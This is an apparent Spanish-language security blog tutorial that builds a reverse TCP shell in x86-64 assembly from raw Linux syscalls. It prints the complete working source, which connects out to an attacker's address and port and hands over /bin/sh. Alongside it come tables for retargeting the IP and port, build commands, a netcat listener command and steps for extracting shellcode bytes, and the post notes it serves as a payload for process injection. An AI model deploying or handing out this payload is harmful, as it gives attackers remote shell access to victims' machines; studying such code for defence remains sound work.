Saltar a contenido

Reverse TCP Shell

Reverse shell TCP implementado en ensamblador x86-64. Usando únicamente syscalls, sin dependencias.


Uso responsable

El contenido de este sitio web se publica exclusivamente con fines educativos e informativos. El autor no promueve, respalda ni se hace responsable del uso indebido o ilegal de la información aquí expuesta. Cualquier acción realizada a partir de este contenido debe llevarse a cabo únicamente en entornos controlados, sistemas propios o con autorización expresa y verificable del propietario del sistema.

Introducción

En la reverse shell es la máquina objetivo quien inicia la conexión hacia el atacante, en lugar de que el atacante se conecte a la máquina objetivo. Esto es útil para evadir firewalls que bloquean conexiones entrantes pero permiten salientes.

Flujo de ejecución

┌────────────┐      ┌──────────────────────┐      ┌─────────────────────────┐      ┌──────────────┐
│ socket(41) │──s──▶│ connect(42, s, A:P)  │─────▶│ dup2(33): 0,1,2  →  s   │─────▶│ execve(59)   │
└────────────┘      └──────────────────────┘      └─────────────────────────┘      └──────────────┘

            0 = (stdin) ──┐
            1 = (stdout)  ├──────────────► socket(s) ───────────────► ATACANTE (A:P)
            2 = (stderr) ─┘

Crear socket TCP

socket (nº 41 en Linux x86-64) crea un objeto de comunicación en el kernel y devuelve un file descriptor (FD) para operar con él (conectar, enlazar, escuchar, enviar/recibir). Recién creado es solo un objeto en memoria identificado por su FD, tiene familia/tipo/protocolo, pero no IP ni puertos.

rax = 41         ; Número de syscall (socket)
rdi = domain     ; Familia de direcciones (AF_*)
rsi = type       ; Tipo de socket (SOCK_*), opcionalmente OR con flags
rdx = protocol   ; Protocolo (0 = por defecto)

Puesto que la idea es crear un socket TCP/IPv4 los argumentos de entrada tomarán los siguientes valores:

Registro Valor Significado
RAX 41 Número de syscall (socket)
RDI 2 AF_INET (familia IPv4)
RSI 1 SOCK_STREAM (TCP)
RDX 0 Protocolo (0 = por defecto)

El registro RAX tras la syscall contiene el file descriptor del socket. Se vuelve un endpoint real cuando se realiza una acción con este (bind, connect o accept).

Conectarse al atacante

connect (nº 42 en Linux x86-64) solicita establecer una conexión entre un socket previamente creado y un endpoint remoto. En TCP/SOCK_STREAM, inicia el handshake TCP (SYN → SYN/ACK → ACK).

rax = 42         ; Número de syscall (connect)
rdi = sockfd     ; FD del socket (devuelto por socket())
rsi = addr       ; puntero a struct sockaddr (sockaddr_in / sockaddr_in6 / sockaddr_un, …)
rdx = addrlen    ; tamaño de esa struct (16 para sockaddr_in)

Estructura sockaddr_in

La estructura sockaddr_in define el endpoint remoto y está compuesto por 16 bytes. La construiremos directamente en el stack empaquetando los valores en un qword.

El desglose interno de los campos sería el siguiente:

Campo Bytes Valor Significado
sin_family 02 00 2 AF_INET
sin_port 11 5c 4444 Puerto en network byte order
sin_addr 7f 00 00 01 127.0.0.1 IP destino
sin_zero 00 00 00 00 00 00 00 00 0 Padding (8 bytes)

El padding se introduce primero en el stack (8 bytes de ceros), luego el qword con familia+puerto+IP (8 bytes), formando los 16 bytes totales.

Redirigir I/O

dup2 (nº 33 en Linux x86-64) duplica un file descriptor (FD) existente sobre otro número de FD específico, cerrando primero el FD destino si estaba abierto. Tras la llamada, ambos apuntan al mismo open file description (mismo offset y file status flags). Es fundamental para redirecciones de entrada/salida, permitiendo que stdin/stdout/stderr apunten a archivos, sockets o pipes.

rax = 33        ; Número de syscall (dup2)
rdi = oldfd     ; Descriptor existente a duplicar
rsi = newfd     ; Número de descriptor destino

Ejecutaremos dup2 en tres ocasiones para redirigir stdin/stdout/stderr al socket:

Iteración RSI Efecto
1 0 stdin → socket
2 1 stdout → socket
3 2 stderr → socket

Ejecutar Shell

execve (nº 59 en Linux x86-64) reemplaza la imagen del proceso actual por la de un nuevo programa. Si tiene éxito, el flujo continúa en el código del programa cargado.

rax = 59             ; Número de syscall (execve)
rdi = filename       ; puntero a cadena con la ruta al ejecutable (C-string)
rsi = argv           ; puntero a array de punteros a C-string (argv[0..n], terminado en NULL)
rdx = envp           ; puntero a array de punteros a C-string (variables de entorno, terminado en NULL)

Puesto que la idea es ejecutar /bin/sh en el sistema objetivo:

Registro Valor Significado
RAX 59 Número de syscall (execve)
RDI pathname Puntero a "/bin/sh\0"
RSI argv Puntero a array de argumentos (NULL)
RDX envp Puntero a array de entorno (NULL)

Construimos los argumentos en el stack, primero el null-terminator, luego la cadena y después los punteros NULL para argv y envp.

La cadena /bin/sh equivale a 2F 62 69 6E 2F 73 68 (7 bytes). Para cargarla usaremos el valor 0x68732f6e69622f (little-endian). Al hacer push, los bytes se almacenan en memoria en el orden correcto.

Personalización

Cambiar IP de destino

Cada octeto de la IP se convierte a hexadecimal.

IP Valor (Hex)
127.0.0.1 0x7F000001
192.168.1.1 0xC0A80101
192.168.18.245 0xC0A812F5
10.0.0.50 0x0A000032

Cambiar puerto

El puerto se almacena en network byte order (big-endian).

Puerto Valor (Hex)
4444 0x115c
8080 0x1f90
443 0x01BB
9001 0x2329

Código completo (rev_shell.asm)

section .text
global _start
_start:
    ; SOCKET
    mov rax, 41
    mov rdi, 2 ;IPV4
    mov rsi, 1 ;TCP
    xor rdx, rdx ; Default
    syscall
    ; Store socket FD
    mov r8, rax
    ; CONNECT
    mov rax, 42
    mov rdi, r8
                    ;   Stack        Low  <----------- High
    ; Entrada esperada: 02 00 11 5c 7F 00 00 01 00 00 00 00 00 00 00 00   
    ;                   └──┘  └──┘  └────────┘  └──────────────────────┘
    ;                   0-1   2-3   4-7         8-15         (16 bytes en total)
    ;                   fam   port  IP          padding
    ; Mapeado de los campos de sockaddr_in:
                        ; Bytes 0-1:   02 00           → sin_family (AF_INET = 2)
                        ; Bytes 2-3:   11 5c           → sin_port (4444)
                        ; Bytes 4-7:   7f 00 00 01     → sin_addr (127.0.0.1)
                        ; Bytes 8-15:  00 00 00 00...  → sin_zero (padding)
    xor r9,r9 ; 0
    push r9 ; 64 bits de padding a 0 (sin_zero)(8 bytes)
    mov r10, 0x0100007f5c110002
    push r10 ; sin_family + sin_port + sin_addr (8 bytes)
    mov rsi, rsp ; direccion del tope de la pila
    mov rdx, 16 ;IPV4 (espera 16 bytes)
    syscall
    xor rsi,rsi
.dup2:                        ; stdin(0), stdout(1), stderr(2) redirigidos al socket
    ;DUP2
    mov rax, 33
    mov rdi, r8
    syscall 
    inc rsi
    cmp rsi, 3
    jl .dup2
    ; EXEXCVE
    mov rax, 59
    push 0                       ; null terminator de /bin/sh -> /bin/sh\0
    mov r12, 0x68732f6e69622f    ; /bin/sh (2F 62 69 6E 2F 73 68) en little-endian
    push r12                     ; string /bin/sh
    mov rdi, rsp
    push 0                       ; argv = {NULL}
    mov rsi, rsp
    push 0                       ; envp = {NULL}
    mov rdx, rsp
    syscall 
.done:
    ; EXIT
    mov rax, 60                    ; syscall: exit
    xor rdi, rdi                   ; exit code = 0 (éxito)
    syscall

Compilación y uso

# Compilar
nasm -f elf64 rev_shell.asm -o rev_shell.o
ld rev_shell.o -o rev_shell

# En la máquina atacante: iniciar listener
nc -lvnp 4444

# En la máquina objetivo: ejecutar
./rev_shell

Extracción de bytes

# Extraer solo la sección .text
objcopy -O binary --only-section=.text rev_shell rev_shell.bin

# Visualizar los bytes (C)
xxd -i rev_shell.bin

# Ver tamaño
wc -c rev_shell.bin

Agradecimientos

Gracias por llegar hasta aquí.

Si encuentras errores o quieres mejorar/ampliar el artículo, el contenido del blog está abierto a Pull Requests. Toda contribución es bienvenida.

¡Nos vemos en el próximo artículo! ;)


Ver también

Process Injection via Ptrace - Hace uso de una versión adaptada de esta Reverse TCP Shell como payload en inyección de procesos basados en Ptrace